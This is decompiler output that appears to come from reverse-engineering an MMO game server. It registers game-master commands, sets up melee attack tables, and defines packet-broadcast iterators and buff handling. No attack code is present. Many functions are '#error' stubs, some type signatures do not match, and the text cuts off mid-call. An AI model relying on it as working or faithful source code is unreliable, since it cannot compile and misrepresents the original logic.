AmpersandCommand::ac_Store(v1, "&ghostremove", 100, AmpersandCommand::ac_GhostRemove); AmpersandCommand::ac_Store(v1, "&curtime", 100, AmpersandCommand::ac_CurTime); AmpersandCommand::ac_Store(v1, "&amibusy", 100, AmpersandCommand::ac_AmIBusy); AmpersandCommand::ac_Store(v1, "&pw", 0, AmpersandCommand::ac_PW); AmpersandCommand::ac_Store(v1, "&knockback", 100, AmpersandCommand::ac_KnockBack); AmpersandCommand::ac_Store(v1, "&partblock", 100, AmpersandCommand::ac_PartBlock); AmpersandCommand::ac_Store(v1, "&debuglogging", 100, AmpersandCommand::ac_DebugLogging); AmpersandCommand::ac_Store(v1, "&&&", 100, ShineObjectClass::ShineObject::so_ply_LoginIPSet); AmpersandCommand::ac_Store(v1, "&npcrevive", 100, AmpersandCommand::ac_NPCRevive); AmpersandCommand::ac_Store(v1, "&ts_DiceFix", 100, AmpersandCommand::ac_TaiSai_DiceFix); AmpersandCommand::ac_Store(v1, "&ts_DiceProbability", 100, AmpersandCommand::ac_TaiSai_DiceProbability); AmpersandCommand::ac_Store(v1, "&bigbang", 100, AmpersandCommand::ac_BigBang); AmpersandCommand::ac_Store(v1, "&alllearnskill", 100, AmpersandCommand::ac_AllLearnSKill); AmpersandCommand::ac_Store(v1, "&levelup", 100, AmpersandCommand::ac_LevelUp); AmpersandCommand::ac_Store(v1, "&showallchar", 100, AmpersandCommand::ac_ShowAllChar); AmpersandCommand::ac_Store(v1, ">ieffect", 50, AmpersandCommand::ac_GuildTournamentItemEffect); AmpersandCommand::ac_Store(v1, "&disposition", 50, ShineObjectClass::ShineObject::so_ply_LoginIPSet); AmpersandCommand::ac_Store(v1, "&idtimechange", 50, AmpersandCommand::ac_IDTimeChange); AmpersandCommand::ac_Store(v1, "&releasechatban", 50, AmpersandCommand::ac_ReleaseChatBan); } // 5A48C0: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (0041B030) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v1; // esi@1 std::basic_string,std::allocator > *v2; // eax@1 v1 = this; v2 = this->_Myfirst; if ( v2 ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v2, this->_Mylast, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)this); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0041B070) -------------------------------------------------------- #error "41B070: undefined or illegal type '#434' (funcsize=367)" //----- (0041B5F0) -------------------------------------------------------- #error "41B5F0: undefined or illegal type '#434' (funcsize=98)" //----- (0041B790) -------------------------------------------------------- unsigned int __thiscall AttackRhythm::AttackRhythmBase::arb_NextBash(AttackRhythm::AttackRhythmBase *this, AttackRhythm::CharArgument *ca, int attackspeed1000) { return 10 * attackspeed1000 / 1000; } //----- (0041B7B0) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(AttackRhythm::AttackRhythm_Melee *this) { this->arm_table[0][0] = 0; this->arm_table[1][0] = 0; this->arm_table[2][1] = 0; this->arm_table[3][2] = 0; this->arm_table[4][2] = 0; this->arm_table[5][1] = 0; this->arm_table[0][1] = 1; this->arm_table[0][2] = 2; this->arm_table[1][1] = 2; this->arm_table[1][2] = 1; this->arm_table[2][0] = 1; this->arm_table[2][2] = 2; this->arm_table[3][0] = 1; this->arm_table[3][1] = 2; this->arm_table[4][0] = 2; this->arm_table[4][1] = 1; this->arm_table[5][0] = 2; this->arm_table[5][2] = 1; this->arm_table[6][0] = 3; this->arm_table[7][0] = 3; this->arm_table[8][0] = 3; this->arm_table[9][0] = 3; this->arm_table[10][0] = 3; this->arm_table[11][0] = 3; this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Melee::_vftable_; this->arm_table[6][1] = 4; this->arm_table[6][2] = 5; this->arm_table[7][1] = 4; this->arm_table[7][2] = 5; this->arm_table[8][1] = 4; this->arm_table[8][2] = 5; this->arm_table[9][1] = 4; this->arm_table[9][2] = 5; this->arm_table[10][1] = 4; this->arm_table[10][2] = 5; this->arm_table[11][1] = 4; this->arm_table[11][2] = 5; } // 5A6A90: using guessed type int (__stdcall *AttackRhythm__AttackRhythm_Melee___vftable_)(int ca, int charclass); //----- (0041B860) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::arb_Next(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int charclass) { char v3; // al@1 v3 = ca->ca_point + 1; ca->ca_point = v3; if ( (unsigned __int8)v3 >= 3u ) { ca->ca_point = 0; ca->ca_group = RandomBox::operator__(&rndbox, (((charclass != 21) - 1) & 0xFFFFFFFA) + 12); } } //----- (0041B8A0) -------------------------------------------------------- int __thiscall AttackRhythm::AttackRhythm_Melee::arb_ActionNumber(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca) { char v2; // al@1 int result; // eax@2 v2 = ca->ca_group; if ( (unsigned __int8)v2 < 0xCu ) result = this->arm_table[0][ca->ca_point + 3 * (unsigned __int8)v2]; else result = this->arm_table[0][ca->ca_point]; return result; } //----- (0041B8D0) -------------------------------------------------------- unsigned int __thiscall AttackRhythm::AttackRhythm_Melee::arb_NextBash(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int attackspeed1000) { int v3; // edx@0 unsigned int result; // eax@3 if ( ca->ca_group >= 6u && ca->ca_point ) result = ((v3 & 0x1FFFF) + 1180 * attackspeed1000) >> 17; else result = 10 * attackspeed1000 / 1000; return result; } //----- (0041B920) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(AttackRhythm::AttackRhythm_Mob *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)AttackRhythm::AttackRhythmBase::_vftable_; } // 5A6A84: using guessed type int (*AttackRhythm__AttackRhythmBase___vftable_[2])(); //----- (0041B930) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(AttackRhythm::AttackRhythm_Range *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Range::_vftable_; } // 5A6A9C: using guessed type int (__stdcall *AttackRhythm__AttackRhythm_Range___vftable_)(int ca, int charclass); //----- (0041B940) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Range::arb_Next(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca, int charclass) { ca->ca_point = (ca->ca_point + 1) & 2; } //----- (0041B960) -------------------------------------------------------- int __thiscall AttackRhythm::AttackRhythm_Range::arb_ActionNumber(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca) { return ca->ca_point; } //----- (0041B970) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(AttackRhythm::AttackRhythm_Mob *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Mob::_vftable_; } // 5A6AA8: using guessed type int (__stdcall *AttackRhythm__AttackRhythm_Mob___vftable_)(int iti, char nEndureGrade); //----- (0041B980) -------------------------------------------------------- char __thiscall SubLayer::SubLayerInteractLoader::slil_Interact(SubLayer::SubLayerInteractLoader *this, SubLayer::Layer *my, SubLayer::Layer *another) { return my->l_Main == another->l_Main || my->l_Main == -1 || another->l_Main == -1; } //----- (0041B9B0) -------------------------------------------------------- unsigned int __thiscall AllOfRangeArgument::operator unsigned_long(AllOfRangeArgument *this) { unsigned int result; // eax@1 result = this->aora_argument + 1; this->aora_argument = result; return result; } //----- (0041B9C0) -------------------------------------------------------- void __thiscall AxialListIterator::AxialListIterator(AxialListIterator *this) { this->vfptr = (AxialListIteratorVtbl *)AxialListIterator::_vftable_; } // 5A6AB4: using guessed type int (__stdcall *AxialListIterator___vftable_[5])(int type, int slot, int distancesquar); //----- (0041B9D0) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLock::icl_IsLocked(AxialListIterator *this, #325 *type, #325 *slot, unsigned int distancesquar) { return 1; } //----- (0041B9E0) -------------------------------------------------------- char __thiscall AxialListMobCounter::ali_Work(AxialListMobCounter *this, #325 *a2, #325 *a3, unsigned int distancesquar) { return ((int (__stdcall *)(_DWORD, _DWORD))this->almc_Search)(a2, a3); } //----- (0041B9F0) -------------------------------------------------------- #error "41B9F0: undefined or illegal type '#325' (funcsize=35)" //----- (0041BA50) -------------------------------------------------------- #error "41BA50: undefined or illegal type '#325' (funcsize=44)" //----- (0041BAD0) -------------------------------------------------------- #error "41BAD0: undefined or illegal type '#325' (funcsize=41)" //----- (0041BB40) -------------------------------------------------------- #error "41BB40: undefined or illegal type '#325' (funcsize=45)" //----- (0041BBC0) -------------------------------------------------------- #error "41BBC0: undefined or illegal type '#325' (funcsize=31)" //----- (0041BC10) -------------------------------------------------------- void __thiscall AxialListBossFind::AxialListBossFind(AxialListBossFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListBossFind::_vftable_; } // 5A6AB8: using guessed type int (__stdcall *AxialListBossFind___vftable_[4])(int, int, int distancesquar); //----- (0041BC20) -------------------------------------------------------- void __thiscall AxialListWall::AxialListWall(AxialListWall *this, const char *message) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListWall::_vftable_; this->alw_message = message; } // 5A6ABC: using guessed type int (__stdcall *AxialListWall___vftable_[3])(int, int, int distancesquar); //----- (0041BC40) -------------------------------------------------------- #error "41BC40: undefined or illegal type '#325' (funcsize=8)" //----- (0041BC60) -------------------------------------------------------- void __thiscall AxialListShowID::AxialListShowID(AxialListShowID *this, NETCOMMAND *nc) { this->alsi_nc = nc; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListShowID::_vftable_; this->alsi_IDInfo = (PROTO_NC_BRIEFINFO_PLAYER_LIST_INFO_APPEAR_CMD *)&nc[1]; LOBYTE(nc[1].protocol) = 0; } // 5A6AC0: using guessed type int (__stdcall *AxialListShowID___vftable_[2])(int, int, int distancesquar); //----- (0041BC80) -------------------------------------------------------- void __thiscall AxialListCount::AxialListCount(AxialListCount *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListCount::_vftable_; this->alc_Cnt = 0; } // 5A6AC4: using guessed type int (__stdcall *AxialListCount___vftable_)(int, int, int distancesquar); //----- (0041BC90) -------------------------------------------------------- #error "41BC90: undefined or illegal type '#325' (funcsize=11)" //----- (0041BCB0) -------------------------------------------------------- char __thiscall AxialListMobInAreaCounter::ali_Work(AxialListMobInAreaCounter *this, #325 *a2, #325 *a3, unsigned int distancesquar) { return ((int (__stdcall *)(_DWORD, _DWORD))this->almc_Search)(a2, a3); } //----- (0041BCC0) -------------------------------------------------------- #error "41BCC0: undefined or illegal type '#325' (funcsize=51)" //----- (0041BD50) -------------------------------------------------------- void __thiscall AxialListProtocolSend::AxialListProtocolSend(AxialListProtocolSend *this, int department, int command) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListProtocolSend::_vftable_; this->alps_department = department; this->alps_command = command; } // 5A6ACC: using guessed type int (__stdcall *AxialListProtocolSend___vftable_[2])(int, int, int distancesquar); //----- (0041BD70) -------------------------------------------------------- #error "41BD70: undefined or illegal type '#325' (funcsize=12)" //----- (0041BD90) -------------------------------------------------------- void __thiscall AxialListMobKillLog::AxialListMobKillLog(AxialListMobKillLog *this, int department, int command, unsigned __int16 nMobID) { this->alps_department = department; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobKillLog::_vftable_; this->alps_command = command; this->alps_nMobID = nMobID; } // 5A6AD0: using guessed type int (__stdcall *AxialListMobKillLog___vftable_)(int, int, int distancesquar); //----- (0041BDC0) -------------------------------------------------------- void __thiscall AxialListWall::_AxialListWall(AxialListMobKillLog *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListIterator::_vftable_; } // 5A6AB4: using guessed type int (__stdcall *AxialListIterator___vftable_[5])(int type, int slot, int distancesquar); //----- (0041BDD0) -------------------------------------------------------- WorldManagerSession *__thiscall SocketBundle::sb_GetSocket(SocketBundle *this) { signed int v1; // esi@1 char *v2; // edx@2 int v3; // eax@2 v1 = 0; while ( 1 ) { v2 = (char *)this + 264 * (this->sb_Pointer.mask & (this->sb_Pointer.value + 1)); this->sb_Pointer.value = this->sb_Pointer.mask & (this->sb_Pointer.value + 1); v3 = *((_DWORD *)v2 + 2); if ( v3 == 1 || v3 == 2 ) { if ( v2[264] ) break; } ++v1; if ( v1 >= 4 ) return (WorldManagerSession *)this->sb_SocketStr; } return &this->sb_SocketStr[this->sb_Pointer.value].socket; } //----- (0041BE30) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast::AxialListPacketBroadcast(AxialListPacketBroadcast *this, ProtocolPacket *pack, int packlen) { AxialListPacketBroadcast *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListPacketBroadcast::AxialListPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListPacketBroadcast::AxialListPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->alpb_packet = pack; if ( ProtocolPacket::pp_SetPacketLen(pack, packlen) ) { v3->alpb_packetlength = packlen; } else { AssertClass::ac_AssertFail( &shineassert, "AxialListPacketBroadcast::AxialListPacketBroadcast : Too long packet", packlen); v3->alpb_packetlength = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListPacketBroadcast::AxialListPacketBroadcast"); } // 5A6B20: using guessed type int (__stdcall *AxialListPacketBroadcast___vftable_)(int, int, int distancesquar); //----- (0041BF10) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast::_AxialListPacketBroadcast(AxialListPacketBroadcast *this) { AxialListPacketBroadcast *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListPacketBroadcast::~AxialListPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListPacketBroadcast::~AxialListPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListPacketBroadcast::~AxialListPacketBroadcast"); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListIterator::_vftable_; } // 5A6AB4: using guessed type int (__stdcall *AxialListIterator___vftable_[5])(int type, int slot, int distancesquar); // 5A6B20: using guessed type int (__stdcall *AxialListPacketBroadcast___vftable_)(int, int, int distancesquar); //----- (0041BF90) -------------------------------------------------------- #error "41BF90: undefined or illegal type '#325' (funcsize=110)" //----- (0041C0F0) -------------------------------------------------------- void __thiscall AxialListPacketBroadcastByGuild::AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this, ProtocolPacket *pack, int packlen, unsigned int GRegNum) { AxialListPacketBroadcastByGuild *v4; // esi@1 v4 = this; AxialListPacketBroadcast::AxialListPacketBroadcast(&this->baseclass_0, pack, packlen); v4->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcastByGuild::_vftable_; v4->m_GuildRegNum = GRegNum; } // 5A6BB0: using guessed type int (__thiscall *AxialListPacketBroadcastByGuild___vftable_)(AxialListPacketBroadcast *this, #325 *, #325 *, int distancesquar); //----- (0041C120) -------------------------------------------------------- void __thiscall AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcastByGuild::_vftable_; AxialListPacketBroadcast::_AxialListPacketBroadcast(&this->baseclass_0); } // 5A6BB0: using guessed type int (__thiscall *AxialListPacketBroadcastByGuild___vftable_)(AxialListPacketBroadcast *this, #325 *, #325 *, int distancesquar); //----- (0041C130) -------------------------------------------------------- #error "41C130: undefined or illegal type '#325' (funcsize=23)" //----- (0041C170) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this, ProtocolPacket *pack, int packlen) { AxialListPacketBroadcast4ItemPickUp *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast4ItemPickUp::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->alpb_packet = pack; if ( ProtocolPacket::pp_SetPacketLen(pack, packlen) ) { v3->alpb_packetlength = packlen; } else { AssertClass::ac_AssertFail( &shineassert, "AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp : Too long packet", packlen); v3->alpb_packetlength = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp"); } // 5A6C14: using guessed type int (__stdcall *AxialListPacketBroadcast4ItemPickUp___vftable_)(int, int, int distancesquar); //----- (0041C250) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this) { AxialListPacketBroadcast4ItemPickUp *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast4ItemPickUp::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListPacketBroadcast4ItemPickUp::~AxialListPacketBroadcast4ItemPickUp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListPacketBroadcast4ItemPickUp::~AxialListPacketBroadcast4ItemPickUp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListPacketBroadcast4ItemPickUp::~AxialListPacketBroadcast4ItemPickUp"); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListIterator::_vftable_; } // 5A6AB4: using guessed type int (__stdcall *AxialListIterator___vftable_[5])(int type, int slot, int distancesquar); // 5A6C14: using guessed type int (__stdcall *AxialListPacketBroadcast4ItemPickUp___vftable_)(int, int, int distancesquar); //----- (0041C2D0) -------------------------------------------------------- #error "41C2D0: undefined or illegal type '#325' (funcsize=96)" //----- (0041C420) -------------------------------------------------------- #error "41C420: undefined or illegal type '#325' (funcsize=67)" //----- (0041C500) -------------------------------------------------------- #error "41C500: undefined or illegal type '#325' (funcsize=133)" //----- (0041C6D0) -------------------------------------------------------- #error "41C6D0: undefined or illegal type '#325' (funcsize=40)" //----- (0041C740) -------------------------------------------------------- #error "41C740: undefined or illegal type '#325' (funcsize=43)" //----- (0041C7B0) -------------------------------------------------------- #error "41C7B0: undefined or illegal type '#325' (funcsize=46)" //----- (0041C830) -------------------------------------------------------- #error "41C830: undefined or illegal type '#325' (funcsize=50)" //----- (0041C8C0) -------------------------------------------------------- #error "41C8C0: undefined or illegal type '#325' (funcsize=75)" //----- (0041C9B0) -------------------------------------------------------- ShineCommonParameter::ShineParameter *__thiscall ShineCommonParameter::operator_>(ShineCommonParameter *this) { return &this->scp_param; } //----- (0041C9C0) -------------------------------------------------------- char __thiscall DirectDistanceTable::ddt_DirectSR(DirectDistanceTable *this, int dx, int dy) { int v3; // esi@1 int i; // edi@1 v3 = dx; for ( i = dy; v3 > 1024 || v3 < -1024 || i > 1024 || i < -1024; i /= 2 ) v3 /= 2; return *((_BYTE *)&this->ddt_Table[0][i + 2049 * v3].distance + (_DWORD)((char *)&wholesaver + 8278180)); } //----- (0041CA20) -------------------------------------------------------- void __thiscall BriefInfoBackup::bib_Restore(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape) { if ( this->bib_Backuped ) { memcpy(shape, this, 0x2Fu); this->bib_Backuped = 0; } } //----- (0041CA50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set(ShineObjectClass::ShinePlayer::TimeScheduler *this, ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *fnc)(#434 *), ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType defaultreturn, ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork work, int millisec) { this->ts_Limit = clockwatch.cw_CurrTick + 10 * millisec / 1000; if ( this->ts_CurWork == 4 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::TimeScheduler::ts_Set - ", work); } else { this->ts_CallFunc = fnc; this->ts_TimerFunc = ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck; this->ts_DefaultReturn = defaultreturn; this->ts_CurWork = work; } } //----- (0041CAB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack(ShineObjectClass::ShinePlayer::TimeScheduler *this) { ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork v1; // eax@1 v1 = this->ts_CurWork; return v1 == 2 || v1 == 3; } //----- (0041CAD0) -------------------------------------------------------- #error "41CAD0: undefined or illegal type '#325' (funcsize=5)" //----- (0041CAE0) -------------------------------------------------------- #error "41CAE0: undefined or illegal type '#325' (funcsize=26)" //----- (0041CB40) -------------------------------------------------------- void __thiscall AxialListTargetInform::_AxialListTargetInform(AxialListTargetInform *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListTargetInform::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A6DA0: using guessed type int (__stdcall *AxialListTargetInform___vftable_)(int, int, int distancesquar); //----- (0041CB50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetTargetObject(int this) { return *(_DWORD *)(this + 8860); } //----- (0041CB60) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::EraseGoodBuff(void *this, int index, signed __int16 notfinderrortype) { void *v3; // esi@1 int v4; // eax@3 signed __int16 result; // ax@4 int v6; // eax@5 #325 *v7; // eax@9 v3 = this; if ( index >= 412 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", index); LABEL_4: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::EraseAbstate : Not Find Abstate Index :", index); return notfinderrortype; } v4 = dword_615280[index]; if ( !v4 ) goto LABEL_4; v6 = *(_DWORD *)(*(_DWORD *)v4 + 244); if ( v6 != 1 && v6 ) { result = 7282; } else { if ( (*(int (__stdcall **)(int))(*(_DWORD *)this + 988))(index) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1544))(v3); v7 = (#325 *)(*(int (__thiscall **)(void *, void *, int))(*(_DWORD *)v3 + 1304))(v3, v3, index); AbnormalStateContainer::AbstateListInObject::asl_AbstateReset(v7, (ABSTATEINDEX)index); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1300))(v3); result = 7280; } else { result = notfinderrortype; } } return result; } //----- (0041CC20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_Dispel(#325 *this, #325 *lnkinf, SmashArgument *arg, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int attrbit) { return 0; } //----- (0041CC30) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineObject::so_ply_Script_CostumeCreate(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]) { return 0; } //----- (0041CC40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SkillEnchant(#325 *this, #325 *a2, SmashArgument *arg, BattleObjectGroup::BattleObjectStruct *battleobject, char *resist, char isenemy) { return 0; } //----- (0041CC50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mh_PortalOpen(ItemAttributeClass *this, ItemTotalInformation *itm) { return 0; } //----- (0041CC60) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineObject::so_attack(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue) { return 0; } //----- (0041CC70) -------------------------------------------------------- #error "41CC70: undefined or illegal type '#740' (funcsize=7)" //----- (0041CC90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_BashStop(int this) { char *v1; // eax@1 int v2; // esi@1 int v3; // ST04_4@1 int v4; // eax@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@1 int v6; // [sp+30h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = 9277; *((_WORD *)v1 + 1) = *(_WORD *)(this + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v3 = *(_DWORD *)(v2 + 78); v6 = 0; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v4, v3, 0, 0, (int)&alchat, 1, 65535); v6 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (0041CD20) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_Bash(int engarg, int resthp, int abstate, int absstrength, int absrate, int aggroclear) { *(_DWORD *)resthp = 0; return 0; } //----- (0041CD30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_ply_dupmenu_canmenuopen(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itemstruct) { return 0; } //----- (0041CD40) -------------------------------------------------------- #error "41CD40: undefined or illegal type '#325' (funcsize=136)" //----- (0041CEA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_IsImmortal(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 988))(198); } //----- (0041CEB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetNaturalEnemy(int this, int NewNaturalEnemy) { int result; // eax@1 result = NewNaturalEnemy; *(_DWORD *)(this + 7380) = NewNaturalEnemy; return result; } //----- (0041CEC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetNaturalEnemy(int this) { return *(_DWORD *)(this + 7380); } //----- (0041CED0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_IsEthereal(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 988))(326); } //----- (0041CEE0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_GetInArray(List *this, unsigned __int16 handle, char *inlist) { AbnormalStateContainer::AbstateElementInObject *result; // eax@4 if ( inlist ) *inlist = 0; if ( handle < this->l_MaxSize ) { if ( inlist ) *inlist = this->l_Array[handle].ls_IsActiv; result = this->l_Array[handle].ls_Content; } else { result = 0; } return result; } //----- (0041CF30) -------------------------------------------------------- void __cdecl std::fill(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Val) { AbnormalStateContainer::AbstateElementInObject *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; v3 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v3 + 116); memcpy(v4, _Val, 0x74u); } } //----- (0041CF60) -------------------------------------------------------- #error "41CF60: undefined or illegal type '#325' (funcsize=112)" //----- (0041D0F0) -------------------------------------------------------- #error "41D0F0: undefined or illegal type '#325' (funcsize=58)" //----- (0041D1F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetTargetObject(int this) { return *(_DWORD *)(this + 32148); } //----- (0041D200) -------------------------------------------------------- #error "41D200: undefined or illegal type '#325' (funcsize=162)" //----- (0041D440) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S6_58 & 1) ) { _S6_58 |= 1u; cmc.cmc_AllowMode = 126; atexit(_E7_34); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc.cmc_AllowMode ) { *((_DWORD *)v4 + 8037) = 0; *((_BYTE *)v4 + 32140) = 0; (*(void (__thiscall **)(void *, _DWORD, signed int))(*(_DWORD *)v4 + 2464))(v4, 0, 1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 